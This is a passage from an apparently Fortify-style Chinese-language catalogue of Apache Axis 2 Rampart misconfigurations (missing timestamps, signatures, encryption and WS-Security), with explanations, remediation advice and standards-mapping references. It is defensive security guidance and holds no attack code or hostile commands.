[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Missing Inbound Timestamp
ABSTRACT
若缺少时间戳,将使 SOAP 消息遭受 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列 Apache Axis 2 Rampart 配置的<items>
标签中缺少 Timestamp 指令,因此该服务不要求请求中包含时间戳。
1 | <service> |
RECOMMENDATIONS
将服务配置为要求输入的请求具有时间戳。 下列 Apache Axis 2 Rampart 配置的 <items>
标签中包含 Timestamp 指令,因此该服务要求所有请求中都包含时间戳。
1 | <service> |
顺序非常重要!将 Timestamp 指令置于 Signature 指令和 Encrypt 指令之前,可确保对时间戳进行签名和加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Missing Outbound Encryption
ABSTRACT
未加密的消息无法保护其保密性。
EXPLANATION
SOAP 消息级加密可确保真正的端到端保密性。可通过多种传输协议发送 SOAP 消息,例如 HTTPS、HTTP、TCP、SMTP、UDP 等。无论采用哪种传输协议,消息级加密都可确保消息的保密性。Web 服务之间的常见传送情形是在各种服务之间转发 SOAP 消息,因此通过消息级加密,消息发送者和接收者均无需担忧中继点之间的传输安全问题。
下列 Apache Axis 2 Rampart 配置不要求对输出的消息进行加密,因为 <items>
标签不包含 Encrypt 指令:
1 | <service> |
RECOMMENDATIONS
将服务配置为只发送加密的消息。在 <items>
标签中添加 Encrypt 指令,便可完成此配置。 例如,
1 | <service> |
顺序非常重要!将 Encrypt 指令放在末尾,可确保其前面的任何内容都得到加密。在上例中,时间戳和签名都将被加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000260 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Missing Outbound Signature
ABSTRACT
缺少签名意味着无法保证 SOAP 消息的完整性。
EXPLANATION
消息中任何未经签名的部分,都可能在接收者未察觉的情况下被截取和修改。没有签名,接收者就无法借助密码验证消息内容的完整性或来源。
下列服务提供程序配置可让 Axis 2 发送未经签名的时间戳:
1 | <service> |
RECOMMENDATIONS
将该服务配置为对输出的消息进行签名。
下列服务提供程序配置可让 Axis 2 对输出的消息进行签名:
1 | <service> |
顺序非常重要!将 Signature 指令置于 Encrypt 指令之前以及 Timestamp 指令之后,可确保对时间戳进行签名以及对签名和时间戳进行加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 345
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Missing Outbound Timestamp
ABSTRACT
若缺少时间戳,会导致 SOAP 消息遭受 replay 攻击。
EXPLANATION
安全性时间戳可表明消息安全数据的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者会欺骗接收者接受恶意消息。
下列 Apache Axis 2 Rampart 配置的 <items>
标签中缺少 Timestamp 指令,因此该服务不会发送带有时间戳的消息。
1 | <service> |
RECOMMENDATIONS
将服务配置为在输出的消息中发送时间戳。 下列 Apache Axis 2 Rampart 配置的 <items>
标签中包含 Timestamp 指令,因此该服务在输出的消息中包含时间戳。
1 | <service> |
顺序非常重要!将 Timestamp 指令置于 Signature 指令和 Encrypt 指令之前,可确保对时间戳进行签名和加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 254
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3870 CAT I, APP3260 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3870 CAT I, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3870 CAT I, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3870 CAT I, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3870 CAT I, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3870 CAT I, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000190 CAT I, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[24] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Outbound WS-Security Not Enabled
ABSTRACT
不使用 WS-Security 的服务提供程序,可能无法保证消息的完整性或保密性。
EXPLANATION
WS-Security 是 SOAP 的扩展功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,并保护消息的安全。
若 Apache Axis 2 配置文件中缺少 OutflowSecurity 参数,则表明未启用输出消息的安全性。
RECOMMENDATIONS
将该服务配置为对输出的响应使用 WS-Security。此配置应包含 OutflowSecurity 参数,如下例所示:
1 | <service> |
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[16] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 319
[17] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[18] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260.1 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II, APP3260 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-000260 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[29] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Unsigned Inbound Timestamp
ABSTRACT
未经签名的时间戳会导致 SOAP 消息遭受 tampering 及 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的“新鲜性”。如果攻击者截取了一则消息,稍后将其转发,则接收者能够拒绝此 replay 攻击,因为时间戳会指明该消息已过期。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息、修改时间戳,以及转发该消息。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列服务提供程序配置可让 Axis 2 接受带有未经签名的时间戳的消息:
1 | <service> |
RECOMMENDATIONS
将该服务配置为对输入的时间戳验证签名。
下列服务提供程序配置可让 Axis 2 验证输入请求的签名:
1 | <service> |
顺序非常重要!将 Timestamp 指令置于 Signature 指令和 Encrypt 指令之前,可确保对时间戳进行签名和加密。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 345
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: Unsigned Outbound Timestamp
ABSTRACT
未经签名的时间戳会导致 SOAP 消息遭受 tampering 及 replay 攻击。
EXPLANATION
安全性时间戳可表明消息的安全语义的“新鲜性”。因此,如果消息被截取,并稍后再次传送,则接收者可以拒绝陈旧的消息。时间戳可包含有效期属性,通过该属性,可对安全语义的有效期设置一个硬限制。
为避免攻击者篡改时间戳,应对时间戳执行签名。如果 SOAP 消息的时间戳未经签名,则攻击者可在接收者不知情的情况下截取该消息并修改时间戳。在这种情况下,攻击者可能会欺骗接收者接受恶意消息。
下列服务提供程序配置可让 Axis 2 发送未经签名的时间戳:
1 | <service> |
RECOMMENDATIONS
将该服务配置为对输入的时间戳验证签名。
下列服务提供程序配置可让 Axis 2 对输出的消息进行签名:
1 | <service> |
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Web Services Security: SOAP Message Security 1.1 OASIS
[3] Standards Mapping - Common Weakness Enumeration CWE ID 345
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[14] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3260.1 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3860 CAT II, APP3260 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3860 CAT II, APP3260 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3860 CAT II, APP3260 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3860 CAT II, APP3260 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3860 CAT II, APP3260 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3860 CAT II, APP3260 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000180 CAT II, APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[24] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authentication
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Axis 2 Service Provider Misconfiguration: WS-Security Not Enabled
ABSTRACT
关闭 WS-Security 难以保证消息完整性和保密性。
EXPLANATION
未启用 Rampart WS-Security 模块。WS-Security 是 SOAP 的扩展功能,无论采用何种传输协议,它都能提供端到端的消息完整性和保密性。不使用 WS-Security 时,将依靠传输安全性来保证消息的完整性和保密性。如果一项服务将消息转发到其他服务,则会使用中继点之间最薄弱的传输机制传送消息。WS-Security 可移除传输安全性 dependency,并将安全性内置到消息中。
RECOMMENDATIONS
将该服务配置为使用 Rampart WS-Security 模块。在服务提供程序配置文件中添加<module ref=“rampart”/>
,便可启用此模块。
REFERENCES
[1] Securing SOAP Messages with Rampart Apache Software Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 311
[3] Standards Mapping - FIPS200 CM, SC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[8] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
